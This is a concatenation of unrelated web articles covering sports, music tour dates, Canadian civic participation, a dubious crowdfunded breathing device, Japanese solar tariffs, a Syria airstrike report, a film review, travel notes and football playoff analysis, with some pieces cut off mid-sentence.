If you were expecting a bad guy here, you’re going to be disappointed. There is no one thing to blame. There is no one fix we can make. It really is multifactorial. But it’s my hope that when we’re done here, you will have a better understanding of why our system costs more, regardless of whether you agree with that spending or not.
Schedule
This series will include one post each weekday over the next two weeks. The link in each item below will become live once the post is up.
*You will see that I describe our lack of better outcomes a number of times. While this series focuses on costs, I think a future series will be dedicated to outcomes.
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TweetableToday, GuitarWorld.com presents an exclusive playthrough video of "The Absence of Purity" by Abiotic's John Matos and Matt Mendez.
The song is from the band's latest album, Casuistry, which will be released April 21 via Metal Blade. The album is already available for pre-order here.
South Florida's Abiotic—Travis Bartosek (vocals), Johnathan Matos (guitar), Matt Mendez (guitar), Alex Vazquez (bass) and Brent Phillips (drums)—emerged in 2010 with a flourish of riffs, solos and technical breakdowns that culminated in their 2011 debut EP, A Universal Plague.
The intent on Casuistry was to top anything the band had done previously. This isn't to say they wanted to play faster or write more challenging music. The focus was on composition, delivery and crafting songs that would translate in a live environment. "We wanted to put something together that was more focused and more about composition, create something where every track would captivate listeners in a different way, and make it as dark, melodic and punishing as possible," Matos says.For more about Abiotic, follow them on Facebook. Be sure to catch them on the road this spring. All their current dates can be found below the video.ABIOTIC Headline Dates:4/9: Houston, TX @ Walters
4/10: Austin, TX @ Empire Control Room - Texas Independent Fest*
4/11: San Angelo, TX @ Yays
*Denotes Festival AppearanceABIOTIC w/ Boris the Blade, Abiotic, Alterbeast, Reaping, Asmodeia4/12: Shreveport, LA @ Hotshots
4/13: Kansas City, MO @ Riot Room w/Vital Remains & Vale of Pnath
4/15: Memphis, TN @ High Tone Records
4/16: Charlotte, NC @ Tremont Music Hall
4/17: Kenilworth, NJ @ 10th Street Live
4/18: Brooklyn, NY @ Coco 66
4/20: Rochester, NY @ Montage Music Hall
4/21: Ottawa, ON @ Mavericks
4/22: Detroit, MI @ The Ritz
4/23: Danville, IL @ Vintage Villains
4/24: Crest Hill, IL @ Bada Brew
4/25: Lacrosse, WI @ Warehouse
4/26: Milwaukee, WI @ Metal Grill
4/27: Des Moines, IA @ Vaudeville MewsABIOTIC w/Boris the Blade, Alterbeast4/28: Denver, CO @ The Skatuary
4/29: Salt Lake City, UT @ Metro Bar
4/30: Pocatello, ID @ Green T ABIOTIC w/Boris the Blade, Alterbeast, Lord of War5/2: Spokane, WA @ The Pin
5/3: Salem, OR @ Duffy’s Hangar
5/5: San Jose, CA @ The Rockbar
5/6: Upland, CA @ The Grizzly Den
5/7: Camarillo, CA @ Rock City Studios
5/8: San Diego, CA @ SomaABIOTIC Headline Date:5/9: Mesa, AZ @ The Underground"Warren Buffett even parroted that point Monday morning, saying the Republican health-care bill will 'cut the hell out of taxes' for the rich."
There are two very important causes of this mess. First, the Republicans seem to keep forgetting that health care makes up anywhere from 17 to 20 percent of the American economy. Freeing up this massive chunk of what every American individual and business has pay for would do much more than income tax cuts in the fight for growing the economy and reversing government intrusions on freedom.
Second, too many Republicans think their primary reason for governing is to boost the economy. That's a nice goal, but it's the free market's job to do that. What Republicans and Democrats are supposed to be doing is defending our freedoms and liberties as enumerated in the Constitution and inspired by the Declaration of Independence.
Conservatives routinely excoriate Democrats for trashing the Constitution in favor of more statist control. But who's calling out the GOP in Washington for supporting tax cuts simply to further their own form of centrally planned economic growth?
Of course President Donald Trump and the rest of the Wall Street gang at the White House, including Treasury Secretary Steven Mnuchin and White House Chief Economic Adviser Gary Cohn, are just as confused about all of this.
They've dangled issues like tax reform and judicial nominations in front of the conservatives in Congress and the conservative voting base since then-candidate Trump secured the GOP nomination.
At |
-and-forth rehab assignments Philadelphia's Nerlens Noel is making with the Sixers' D-League affiliate in Delaware: D-League assignments for injury rehabilitation, per NBA rules, require the player's consent.... Wishing the happiest of 60th birthdays Sunday to my favorite player from the '80s: Mr. Bernard King!
The star guest in our latest TrueHoop Conversations podcast was none other than New Orleans Pelicans star Anthony Davis.
A link to the full convo is enclosed, but here are a few highlights:
On whether he heard all the "poor Anthony Davis" talk during New Orleans' 0-8 start:
"I hear it. I see it. I’m on social media, so I see it all the time. But I think for me, it’s just about the guys in that locker room. I know they come out here every day, in practice and every night in the game, and fight and leave everything on the floor. It’s nothing that I try to pay attention to as much. But you see it. You have to pay attention to it. [But] for me, that’s not my M.O. to get into all the media and all that stuff."
On getting more adept, with experience, at tuning out external noise:
"It’s something you get better at.... Of course we had it at Kentucky and a little bit at high school, but when you get to the NBA and of course you’re the No. 1 pick, all this media’s going to be around you. And so when they start [saying], ‘Oh, injury prone, he’s not a leader, he can’t carry [a team]’ -- all this stuff -- you start to see it. But after a while, as you get older and more established in the league and more experienced, you kind of find a way to tune it out. I think that’s the point I’m at right now.”
On staying positive through the tough times:
"It’s kind of my personality. I just try not to stress over everything. At the end of the day I try to look at it like, win or lose, whatever anybody says, I’m doing the thing I love and my life is pretty [good], so there’s nothing to be stressed about. Nobody has a sickness in my family. Nobody’s doing bad, so I’m always happy. There’s nothing to be down about, be stressed about."
ESPN.com's Baxter Holmes, Kevin Arnovitz and Brian Windhorst, and Saad Yousuf of ESPN Radio Dallas (103.3 FM) contributed to this report.A skate park is opening Saturday morning at the south end of Grant Park. View Full Caption Grant Park Conservancy
CHICAGO — Though excited boarders have been rolling their greasy wheels on the new skate park at Grant Park for weeks, they'll be able to get their first Park District-approved runs when it finally opens Saturday.
The skate park, which has been so highly anticipated they had to ramp up security to keep skateboarders out while the concrete cured, will open its gates with a big party Saturday featuring local DJs, contests, giveaways and — of course — boarding, said Bob O'Neill, president of the Grant Park Conservancy, which lobbied aggressively for funding to get the skate park built.
"People really want to use it. It's really motivating to have park space that's going to be used by people from all over the city and suburbs," O'Neill said. "I think the only people more excited than me are the skateboarders and BMXers. They've really been anticipating this."
The skate park, which sits just east of the Agora "legs" sculptures at the south end of Grant Park near Roosevelt Road, is opening ahead of schedule. It was initially expected to be completed by January.
Despite a chilly December opening, the celebration, which begins at 11 a.m., is expected to generate a good turnout, O'Neill said.
Saturday will be windy with temperatures reaching as high as 38 degrees and as low as 27 degrees, according to the National Weather Service.
For more neighborhood news, listen to DNAinfo Radio here:DUSAN Tadic is adamant Saints are not mentally weak – but admits they get "nervous" playing at St Mary's at the moment.
Saints have won just once in five home games in the Premier League this season and have often been booed by their own supporters after turgid displays.
But Mauricio Pellegrino's men want to atone for their poor results by being more "aggressive" and playing "faster" when they welcome West Bromwich Albion to the south coast on Saturday.
"Sometimes we miss chances and then the opponents score the first goal and we become a bit nervous," Tadic said, who wants Saints to be more exciting.
"This is may be one of the problems. I don't know really, but it's true when we're at home and away we need to be more aggressive and play much faster.
"We will then get the energy from the fans and then we can score."
The playmaker, who has netted once in eight games this term, believes the team are influenced by the negative atmosphere that has sometimes featured at St Mary's as Saints sturggle to hit form at home.
"Yes, but also it's normal when you're a fan and you like a club that you'll be frustrated by some things because you love the club," he said.
"When we play sometimes at home we need to make, from the first moment, a warm atmosphere. Then the fans will be with us.
"They are with us but I mean we want to push and give them something, more excitement, and then they'll take more joy from watching us and they'll be more lively.
"Also for us we know this is what we should do at home and because before [in previous seasons] we broke teams like that. When we played at home we broke teams easier."
When asked if he felt Saints were mentally weak at the moment, Tadic replied: "I cannot say that.
"I don't know what is the problem but hopefully we will solve that against West Brom."
The Serbia international, who has just helped his nation to qualification to the World Cup finals in Russia next summer, wants Saints to up their tempo.
Often Pellegrino's side have been unable to break down defensive opponents and have been accused of producing pedestrian build-up play not conductive to breaking down compact sides.
Tadic explained: "We need to play fast. When someone is well organised you need to break them but if you wait one or two seconds the moment is gone.
"But if you play fast I think we can break them."OTTAWA—Politicians, partisans and political junkies may have to confront a harsh truth — Canadians just aren’t that into you. A new report on political participation in Canada shows that only a slim slice of the population is in any way involved in political activities — whether it’s volunteering for party duty or even discussing issues online. Samara, a non-profit organization devoted to improving civic culture in Canada, carried out a national survey to find out how and whether citizens involved themselves in politics in between elections. The results are sobering for those who believe Canada turns on political debate.
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“If a healthy democracy requires active participation, then Canada is on pretty shaky ground,” states the report, titled “Lightweights” — a not-so-subtle jab at Canadians’ apparent political apathy. Only 10 per cent of respondents to the Samara survey had volunteered, donated to or joined a political party in the previous five years. Just 17 per cent said they had taken part in political discussions on social media such as Twitter or Facebook over the past year. The same percentage said they had written a letter to the editor about a political issue in the past 12 months. In the realm of non-political civic engagement, the results are more encouraging. A full 58 per cent said they had joined sports, religious, community or other groups in the past year and 55 per cent said they had done voluntary work.
The survey was carried out online in spring this year among 2,287 Canadians over 18 years of age, who were asked about their activity in 20 different types of civic engagement — everything from talking about politics to devoting time and energy to a cause. Samara’s researchers were surprised at the low levels of social-media discussion of politics, believing that Twitter, Facebook and other newer forms of online conversation would be “an important new space for political activity.” However, the survey found that Canadians were still more than twice as likely to do their talking about politics on the phone or in person. Forty per cent reported getting their fix of political conversations this way. “And only a small percentage of Canadians are willing to get up on a dais and give a political speech (15 per cent) or organize a public event or meeting about politics (12 per cent),” the report states.
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The study also confirms that politics is more interesting to people over 35 years of age and that youth, who also show low voter-turnout numbers, aren’t all that into political participation between elections either. While 33 per cent of respondents over 35 said they had been in touch with an elected official in the past 12 months, only 25 per cent of people aged 18 to 35 said the same. But younger people were more likely to use the new tools of political conversation when they did participate. Only 12 per cent of respondents over 35 had discussed politics on social media, but 30 per cent of people under 35 had done so. As well, 42 per cent of younger citizens had used email or instant messaging to discuss a “political or societal issue,” compared with only 26 per cent of people over 35. The report urges Canadians to snap out of their political apathy. “At a time when technology could make some forms of engagement easier than ever, Canadians are stepping away from formal politics,” it states. “Politics will only improve when citizens demand change, and when working within politics is better understood and viewed as a critical part of citizenship.”Most of the planet is covered by water, but getting down there requires expensive scuba equipment or at least the ability to hold your breath for a really long time. An Indiegogo project is seizing on the desire of mankind to explore the briny deep with a gadget called the Triton. It’s allegedly a $299 miniature scuba system, but it’s also one of the shadiest crowdfunding campaigns I’ve ever seen.
The original campaign claimed the Triton would filter oxygen out of water so you could breathe. Sound like science fiction? That’s because it is. That didn’t stop it from raising nearly $1 million. The creators of Triton had a lot of hand-wavy explanations of how it works, but experts who have looked at the information provided by the campaigners pointed out a myriad of problems with it.
For one, the Triton would need to be able to filter around 40 to 90 liters of water with its “artificial gills” every minute to extract enough oxygen for a human to breathe. Breathing is also based on volume, not just how much oxygen you have. If you can’t produce at least 0.5 liters of air per breath, it’s not enough to inhale. That would mean the Triton has revolutionary pump and oxygen filtration technology that would be worth a fortune. Very unlikely. A battery that fits in this contraption would never be able to power such a system (they claim 45 minutes per charge) unless it had amazing energy density. Again, revolutionary and worth a fortune all by itself.
It comes down to making all the parts of a regular scuba system tiny, plus magical new oxygen filtration tech. The campaign was forced to admit it was basically making things up last week and refund backers, but they aren’t done. Triton is already back and has again raised over a quarter of a million dollars as a liquid oxygen breathing system. The two bar-shaped parts are allegedly single-use liquid oxygen canisters that let you breathe. However, experts in underwater equipment again point out this is implausible. Keeping oxygen liquid would be extremely difficult and power-intensive at room temperature (impossible on this scale with current technology). If this is just compressed gas, that already exists and canisters of that size are only good for a few dozen breaths. Not anywhere near the 45 minutes claimed.
Even if we assume the Triton works as described (a big assumption), it would be hugely dangerous. If the battery were to fail while you were underwater, you could drown quickly. Pure oxygen is also toxic at depths of more than 15 feet. Real scuba gear can mix in other gasses like nitrogen to compensate, but using the Triton repeatedly could injure or kill the wearer. The new campaign has added an “up to 15 feet” disclaimer to address that.
So, after one scam failed, the creators of Triton just went right ahead with a second one. They still mention artificial gills repeatedly, but there’s also the liquid oxygen disclaimer. It’s really just a mess. Indiegogo is happy to let Triton continue raising money after being caught in a lie, but already hundreds of people are willing to hand over their money again. You almost can’t blame them.Industry Minister Yukio Edano on June 18 set a premium price for solar electricity that is about triple what industrial users now pay for conventional power. That may spur at least ¥760 billion in new installations with 3.2 gigawatts of capacity, Bloomberg New Energy Finance forecast. The total is about equal to the output of three atomic reactors.
"The tariff is very attractive," said Mina Sekiguchi, associate partner and head of energy and infrastructure at KPMG in Japan. "The rate reflects the government’s intention to set up many solar power stations very quickly."
Prime Minister Yoshihiko Noda’s effort to cut dependence on atomic energy, which provided about 30 percent of Japan’s power before the Fukushima nuclear crisis, will help a solar industry suffering incentive cuts across Europe. It is also raising concern among Japanese business groups that clean power aid will raise bills and slow the domestic economic recovery.
"This is a mechanism with a high degree of market intervention by setting tariffs artificially high and making users shoulder the cost," said Masami Hasegawa, senior manager of the environmental policy bureau of Keidanren, Japan’s most powerful business lobby, which counts Toyota Motor Corp. and Nippon Steel Corp. among its members. "We question the effectiveness of such a scheme."
Utilities will pay ¥42 a kwh for 20 years to solar power producers, almost twice the rate in Germany, the world’s biggest market by installations. The solar tariff was among incentive rates for clean energy announced June 18 by the Ministry of Economy, Trade and Industry.
Developers are counting on the subsidies and have accelerated solar-park construction plans this year.
"We hear every day a new announcement of a megawatt-scale project," Izumi Kaizuka, a solar industry analyst at RTS Corp., said in Munich, referring to projects 1 megawatt or bigger.
Japan ranked sixth worldwide by new installations last year, when it added 1.3 gigawatts of solar to bring its installed base to 5 gigawatts. Next year builders will erect roughly triple that level, or another 3.2 gigawatts to 4.7 gigawatts, New Energy Finance forecasts. A gigawatt is enough to supply about 243,000 homes in Japan.
Only China will exceed Japan in terms of solar capacity growth as it supplants Italy and Germany, which held the top two positions in 2010 and 2011, London-based New Energy Finance estimates.
Japanese companies such as Kyocera and Sharp Corp. that kept the photovoltaic industry alive when the U.S. scrapped investments in the 1990s are gearing up to supply their home market, as the government converts a pilot program into one aimed at large, commercial solar farms.
"We no longer have enough electricity, especially during the day, and that is when solar power can help," said Mikio Katayama, chairman of the electronics manufacturer Sharp Corp. and the Japan Photovoltaic Energy Association. "This is a very good rate to promote investment and ‘mega solars.’ "
Germany’s Q-Cells SE overtook Sharp as the biggest solar cell producer in 2007, according to the International Energy Agency. Now Chinese manufacturers such as Suntech Power Holdings Co. and Yingli dominate the industry as their lower prices helped push Q-Cells and several other Western rivals into bankruptcy protection.
Japan got about 1.6 percent of its energy from renewables in 2011, the smallest portion among Group of Seven countries after Canada. It trailed the U.S. and France in the G-7 in atomic power consumption. The shift toward solar reflects concern that the cost of imported fossil fuels will rise in the coming decades.
"Japan’s manufacturing economy was severely challenged by the oil crisis of the 1970s," said Arthur Mitchell, senior counselor in the Tokyo office of the law firm White & Case LLP, whose expertise includes environmental and power policies. "Assuming that the price of energy and almost everything else will rise, Japan is betting it will once again become the most efficient user of energy."
A ¥42 solar rate, targeted for 10-kilowatt or bigger plants, is above the ¥38 price for 15 years the industry expected, according to Takashi Watanabe and Daiki Takayama, Tokyo-based analysts for Goldman Sachs Group Inc.
Under the new program, utilities will buy solar, biomass, wind, geothermal and hydro power. All costs will be passed on to consumers in surcharges, which the government said will average out at ¥87 a month per household. The government’s previous average estimate was ¥100.
The industry ministry will set terms and rates annually for projects whose contracts are signed the same year with utilities.
The measures that began Sunday expand on a program started in November 2009 that requires utilities to buy solar power that the generator didn’t need. That expanded the market for rooftop residential panels.
The new incentives will encourage utility-scale projects. Japan’s five largest solar projects planned or under consideration were all announced between October and April, as the government worked out details of the feed-in tariff program, according to New Energy Finance.
Dozens of companies have announced plans to take advantage of Japan’s subsidies. Yingli, based in Baoding, China, has set up a unit in Japan.
"Being closer to the customers is extremely important for Yingli," Masaki Mizuta, managing director of Yingli Japan, said May 4. "We also believe that this is a key success factor in Japan."
Kyocera Corp. is "aggressively" expanding its solar division, said Sanae Iwasaki, a spokeswoman for the Kyoto-based company. It doesn’t disclose production targets, though it’s considering a 70-megawatt station with IHI Corp. and Mizuho Corporate Bank Ltd. in Kagoshima, which would be the largest in Japan when completed.
Panasonic Corp., which also owns Sanyo Electric Co., plans to boost supply for its home market by shipping solar products from its new plant in Malaysia, said Kazuhiro Yoshida, who heads the company’s solar panel operation.
"Japan is where the demand is," Yoshida said.
Japanese home renovation company West Holdings Corp.’s entry into the solar business was putting panels by Sanyo on rooftops five years ago. The company now gets almost all panel supplies from Chinese and Korean makers, Senior Managing Director Toshihisa Nagashima said.
"The quality of foreign panels is comparable and their prices are more competitive," compared with Japan-made products, Nagashima said. "Customers are becoming less picky about who makes them."
www.japantimes.co.jpAt least nine civilians have lost their lives when the US-led coalition purportedly fighting Daesh terrorists carried out airstrikes on Syria’s northeastern province of Hasakah.
Lebanon’s al-Ahed news website reported on Tuesday that the US-led airstrikes hit Kashkash Zayanat village, near the Shaddadah town in the southern countryside of Hasakah City.
According to the report, the raids caused damage to the residential areas there.
The US-led coalition has been conducting airstrikes against what it says are Daesh targets inside Syria since September 2014 without any authorization from the Damascus government or a United Nations mandate.
The military alliance has repeatedly been accused of targeting and killing civilians. It has also been largely incapable of fulfilling its declared aim of destroying Daesh.
The so-called Syrian Observatory for Human Rights said last month that 472 civilians had been killed in the period between May 23 and June 23, describing the figure as the highest civilian death toll in US airstrikes since they began in September 2014.
In May, Syria wrote to the UN, harshly condemning the US-led coalition’s fatal strikes against civilians as illegal and a breach of its sovereignty.
Read more:
Russia, which is involved in an anti-terror mission in the Arab country, also said later that month the Washington-led raids “have been exacerbating the situation” in Syria, adding that such attacks “have nothing to do with the fight against terrorism.”
Read more:John C Reilly's comedy series Check It Out! with Dr Steve Brule will return for a third season.
Check It Out producer Tim Heidecker confirmed that pre-production on the show has begun, with a picture posted on his Instagram account.
Tim Heidecker
The programme stars Reilly as the eccentric Dr Steve Brule, who undergoes bizarre experiences in an attempt to educate the viewer.
Memorable episodes have seen Dr Steve Brule explore sexuality, the importance of a balanced diet and sea life.
Check It Out! with Dr Steve Brule is a spinoff of Tim and Eric Awesome Show, Great Job!, on which the character first appeared.
Check It Out premiered on Adult Swim in 2010, with the second season airing in the spring of 2012.
> John C Reilly to release debut album on Jack White's label
> John C Reilly confirmed for Guardians of the Galaxy
Watch a clip from Check It Out! with Dr Steve Brule below:State Public Service Commission staffers largely backed proposals by Florida's utilities to gut their energy-efficiency goals by more than 90 percent in recommendations released Thursday, a moved that angered environmentalists.
In a more-than-100-page filing, the commission's staff members presented their analysis of the hotly debated utility proposals, which also include elimination of rebates for installation of rooftop solar.
The state's utilities — including Duke Energy Florida, Tampa Electric and Florida Power & Light — argued during hearings this summer that energy-efficiency programs have become too costly to continue. The utilities said it's cheaper for them now to produce a kilowatt of electricity than to save it.
In their recommendations Thursday, commission staff members agreed. The "utilities correctly calculated the costs and benefits to the customers participating in the energy savings and demand reduction measures," the staff wrote.
In addition, the staff said the solar rebate programs should be allowed to expire in December 2015 because they "represent a large subsidy from the general body of ratepayers to a very small segment of each utility's customers."
The Southern Alliance for Clean Energy disagreed, saying rooftop solar would prove its value over building more power plants that increase all ratepayers' costs.
As for energy efficiency, the Southern Alliance and other environmental groups said the utilities simply calculated high costs to kill the programs.
"The utilities cost estimates across all … tests are unnecessarily high relative to peer utilities in other states," the Southern Alliance was quoted as saying in the staff report.
Susan Glickman of the Southern Alliance said it is widely expected that the five-member commission will rubber-stamp the staff's recommendations when they vote Nov. 25.
Glickman noted that the commission recently approved Duke building a 1,640-megawatt natural gas plant as the utility proposes to gut its conservation goals. FPL is also constructing a new natural gas facility.
"People should be up in arms," Glickman said, "that we're ending energy-efficiency programs while we're approving new power plants."
Contact Ivan Penn at [email protected] or (727) 892-2332. Follow @Consumers_Edge.Maybe it shouldn’t come as a surprise that Jon Stewart has put forth such a thoughtful, pertinent first effort with his directorial debut Rosewater. After all, he become world famous for his comedic Daily Show diatribes against the stagnant US political system, corrupt world leaders and human rights atrocities. However, in his new film, Stewart uses the starting point of journalist Maziar Bahari’s 118 day imprisonment in Iran to craft a film condemning of any leadership that values dogmatic hyperbole, and the ignorance of its own people. Rosewater is heartfelt, inspirational, and startlingly funny. Even through its jarring tonal shifts, it serves as an effective message movie from the first time writer/director.
Rosewater‘s chronology begins 11 days before Maziar’s imprisonment, as the Iranian-Canadian “NewsWeek” reporter travels to Iran to report on the historic 2009 presidential election. When arriving at the airport, Bahari (played impeccably by Mexican actor Gael García Bernal) meets Davood (Dimitri Leonidas), a driver who helps him get access to parts of Tehran where the different political factions reside. They interview a young supporter (Amir El-Masry) for Ahmadinejad (the famously inept incumbent president) who ardently denies Western media’s reports of possible vote rigging in the upcoming election. “Ahmadinejad is what must be,” he states firmly, with no trace of irony.
Davood brings Bahari to see another side, a group of young Mousavi supporters (or “not Ahmadinejad” supporters). These dissenters have formed their own system of education known as “Dish University,” a set of illegally obtained satellite dishes streaming in news from around the globe. However, when shown the collection of satellites, Bahari puts away his camera. “There are certain situations, if you film them, it won’t do your friends or the movement any good,” he says, fearing that any broadcast of this set up would only antagonize an already easily agitated government.
Dynamics shift in the following days as Ahmadinejad unexpectedly (depending on whom you ask) takes the election in a landslide, and the sizeable anti-Ahmadinejad contingent take to the streets in protest. For Bahari’s mother (Shohreh Aghdashloo), who has already seen her husband and first-born daughter taken captive by the two previous Iranian regimes, the news of corruption in the voting comes as no surprise. As Bahari continues to cover the conflict, he’s witness to the brutalities suffered by those working against the establishment. After some hesitation, Bahari turns his lens towards the fighting despite the knowledge that it will likely ruffles the feathers of an irritable regime.
Bahari informs his concerned, pregnant wife that he needs to remain in Iran longer to bear witness to these historic events, but no one knew just how long he would ultimately stay in the country. Shortly after filming a particularly frightening clash between soldiers and protestors, a group of government officials, led by the man who Maziar labels “Rosewater” (Kim Bodnia), arrive at the Bahari household to investigate him. Without further explanation, the men escort Maziar into the back of their car and off to the unnerving Evin Prison.
It’s here in the prison’s solitary confinement and interrogation rooms where most of Rosewater takes place. Subjected arbitrarily to absurd lines of questions, harsh beatings and other methods of torture, Maziar’s attitude shifts between amused, confused, hopeless, hopeful, and even suicidal. This section of Jon Stewart’s film is where he shows some of his inexperience as a filmmaker, as the progression of scenes is a bit uneven, yet the experience is akin to the randomness Bahari faced in detainment. Like Bahari, it’s hard for us as the audience to know what will happen next, whether it’s Rosewater accusing Bahari of being a spy for NewsWeek, the media of the CIA, or a line of questions about Bahari’s three visits to the state of New Jersey.
The absurdity of Rosewater’s accusations creates much of the movie’s dark laughs. The weight with which Bahari’s interrogator lobs questions such as, “How many Jews for NewsWeek?” would be silly if he didn’t feel uncomfortably true. Hearing doctrine shot down with terse phrasing has long been a strength of Jon Stewart’s, and while this situation is far from a laughing matter, the inclusion of these moments never feel misplaced or excessive (and reportedly, many moments are lifted directly from Bahari’s book And Then They Came For Me).
One of Stewart’s greatest feats with Rosewater is in not simplifying its character into one-dimensional representatives of good or evil. Bahari has many moments of weakness, even agreeing to confess (under duress) to working with spies to bolster the revolution. More notably is the portrayal of the interrogator Rosewater as a simple cog in a bureaucratic process, a lackey for someone with a bigger office and grander title. Even Rosewater’s boss, who oversees all the beatings and torture tactics employed in Evin Prison, has his paranoia colored by the United States’ involvement in the 1953 Iranian coup and Iran-Contra.
Rosewater is a movie that allows Jon Stewart the platform to bring his Daily Show sensibilities to a medium with a wider reach, and longer shelf life. His film is entertainment in a surprisingly literal way, considering the subject matter, but it’s simultaneously a film firmly devoted to illustrating an idea: corruption fails under the existence of transparency. While the movie falters at times, notably with its heavy incorporation of graphic overlays to illustrate media coverage and social media use, it’s captivating and ultimately optimistic, and definitely worth checking out.The Tampa Bay Rays haven't had a lot of history yet, being a new franchise and all. Maybe this isn't a big deal to other, more venerable teams. But I think that the first time in team history that a pitcher retires 28 batters in a row deserves to be recognized. That bit of Rays trivia now goes in perpetuity to reliever Steve Geltz.
No, they weren't all in one game. Yes, it's easier to do it as a reliever than as a starter. But the storyline for the Rays this season has been about injuries forcing them to shift the workload from starting pitchers to the bullpen, and the excellent work of Geltz is a big reason of why that strategy has been a winning one.
Geltz began his run against the Angels on June 9th, and reached 28 yesterday against Toronto. Included in that span was one two inning "start" against Washington on June 17th. He broke the record of 27 straight batters retired, previously held by Kyle Farnsworth.
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Over this span, Geltz has struck out eight batters, or just under 30% of the batters he's faced.
His modus operandi has been very simple over this span. First, he pounds the bottom of the zone with his fastball.
It looks uniform across the board because the chart is both righties and lefties, but he's actually focusing on the outer bottom corner to each. Then, once Geltz get's ahead in the count, he breaks out his secondary pitches. Against righties, that means sliders down and away:
Against lefties, that means splitters down and away:
That sounds pretty simple, and possibly even predictable, right? Why haven't hitters been able to get to him then? Well, the first reason is that despite not being super hard at 93 mph, Geltz's fastball is exceptional. Frequent readers will know this already, but Geltz has just about the most-rising fastball in baseball. Over this span it rose 12.5 inches due to it's spin. That is, according to Brooks Baseball, over two standard deviations more rise than the average fastball.
The other reason is that a closer examination of Geltz's patterns over this span reveals that his usage is not quite as predictable as first seems. For instance, Geltz has thrown only one splitter over this span to left-handed batters in two-strike counts (or roughly 11% of the time). But he's thrown 10 splitters (59% of the time) in one-strike counts.
The lesson here is that the idea of a "put-away pitch" that one goes to after one gets two strikes with the fastball is an outdated one that the Rays and Geltz have moved away from. The nasty splitter doesn't need to be strike three. By expected run values, strike two is a more important pitch than strike three anyway, and when Geltz shows that offspeed or breaking pitch in the middle of the count, that keeps batters from being able to hone in on his plus fastball and makes the heater a real threat for strike three as well.
The proof is in the pudding. Over this short period, batters have whiffed at Geltz's fastball 27.5% of the time they swung, and that too is over two standard deviations above the major league average.
Geltz may not be the greatest reliever in Rays history. He's not even the best reliever on this team. But his "perfect game" and his place in the Rays record books are earned.Tesla has managed to deliver something on time, even if it \’s falling behind its projections for the Model 3 electric car: It has completed production of a massive battery farm in South Australia, which is designed to capture and store energy produced by a wind farm and distribute it to the grid when it’s needed most, in an effort to curb frequent summer blackouts.
The Tesla battery facility can provide power to around 30,000 homes for over an hour when at full capacity, and it will be coming online within the next few days, with final testing underway to make sure the completed facility is ready to roll. The battery farm has a total capacity of 100 megawatts, which makes it the largest overall in the world.
The Wall Street Journal reports that while it’ll be offering backup power during its final testing phase over the next few weeks, it’s going to face its first significant stress tests beginning when Australian summer hits, between December and March. That’s when temperatures soar, and the energy system is taxed as residents crank up the AC and otherwise try to compensate for the blistering heat.
Tesla’s test with this facility isn’t just about dealing with the Australian summer, however – it’ll be a key proof point in helping prove out the long-term viability of renewable energy sources as a realistic total replacement for traditional, less environmentally friendly means of supplying the grid.on •
Earlier I wrote about the coffee culture in Croatia, and about visiting the markets in Zagreb during the first part of our trip. It’s been less than two months but it’s already fading and I’m ready for another vacation. Next year’s work load promises to be busier than usual, so I think my memories of all the trips I’ve taken in the past 12 months may have to suffice for a while. Here, I’ll share some photos of the city, and tomorrow I’ll mention some of the meals we enjoyed while here.
One of the iconic sites of Zagreb is the St. Mark’s Church, which dates to the 13th century and features a recognizable roof with the coat of arms of Croatia and the distinctive red-and-white checks found everywhere, including the national flag. The plaza around the church includes a Town Hall and government buildings.
Tributes to Nikola Tesla are scattered throughout the city, in statues, plaques, and street names. Although Tesla was a Serbian (and son of a Serbian Orthodox priest), he was born in what is now Croatia, and is honored there. Serbia also claims him, and features Tesla on their 100 dinar note.
Elaine is especially good about peeking down corners and remember to look up. Thanks to her, we found little parks behind ordinary buildings, statues peering down from overhead, and art tucked in niches, not seen by people who are in a hurry. Zagreb has a lot of eye candy for those who love architecture and surprises.
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Categories: TravelThere is one final week left to the 2017 college football season. There are only a few possible playoff scenarios, and we know what will happen in some of those, no matter what. We know who controls their own destiny. So, for this final in-season iteration of the College Football Playoff Bubble Watch, I will leave everyone with three questions to ponder as you compare the resumes. One of these questions has a pretty easy answer; the other two certainly do not.
1. If Ohio State beats Wisconsin, is Wisconsin’s resume superior to Alabama’s? (Probably not.)
2. If Ohio State beats Wisconsin, who has the better resume–Ohio State or Alabama? (They’re very, very close.)
3. If Ohio State beats Wisconsin and Miami beats Clemson, is Clemson’s resume still better than Ohio State’s and Alabama’s? (This one really requires a lot of thought, but take some time to actually look at the resumes.)
How this works
Let’s give a quick review of how this works.
I include the rankings in yards per play of each team. On the one hand, the resume is which teams you have beaten, so I stick to only identifying the quality of wins and losses and show you each contender’s remaining games. On the other hand, the committee “watches teams play,” which is really not a quantifiable statistic, but something that we can at least try to get a bearing on. Still, it’s hard to find an offensive or defensive metric that accurately represents all teams and styles of play.
Some metrics will over-value “air raid” type offenses while some will prefer more consistent, but less explosive, gameplans. The rank in offensive and defensive yards per play gives a basic metric of how efficient and/or consistent a team is on both sides of the ball.
For the purposes of determining quality wins, things like Top 10 and Top 25 are arbitrary numbers that do more harm than good. There is no reason the gap between No. 25 and No. 26 is considered significantly larger than the gap between 24 and 25. Therefore, to counteract this, I am being very lenient as to who is considered Top 10 or Top 25. Any team in the Top 25 of one of the major polls (AP or Coaches’), or in a significant number of the accepted computer rankings, will be considered in the Top 25 for resume purposes. This leads to the awkwardness of having more than 25 “Top 25″ teams, but it presents a more accurate picture of the overall resume.
I’m also changing a new category this season. Both Jeff Long and Kirby Hocutt constantly mention “wins over teams with winning records” as an important metric, so I’m going to show that to you. It is a less detailed way to view a win than looking at where each win is ranked, but the committee seems to care about it so we have to also. I will not |
contract, Sam has said he will likely play in the CFL. The Montreal Allouettes have the rights to his CFL contract. The CFL season starts June 8 and Montreal's first game is June 13, making this week even more critical for Sam's 2015 playing status. If he isn't signed by an NFL team soon, he may have to head north this month or risk being sidelined for the season.
Depending on whom you ask, Sam's NFL future may be brightest if he does go to Canada in 2015. There he will likely get a boatload of playing time and a ton of tape of him performing well. While it's not the NFL, a productive season in the CFL will open more doors and more minds in NFL team front offices. Longtime personnel man Gil Brandt told me the CFL would be the best thing in the world for Sam for these reasons. Though certainly an invitation to join an NFL team at OTAs next month would be impossible to pass up.
NFL team's will have roster spots available after this week, but the number of opportunities remaining will be slim. We should know this week what uniform Sam will be wearing in June.Please consider donating to Behind the Black, by giving either a one-time contribution or a regular subscription, as outlined in the tip jar to the right or below. Your support will allow me to continue covering science and culture as I have for the past twenty years, independent and free from any outside influence.
Today NASA announced completion of the welding of the next Orion capsule, a job that this story said took about three months to do 7 welds. The story also noted this:
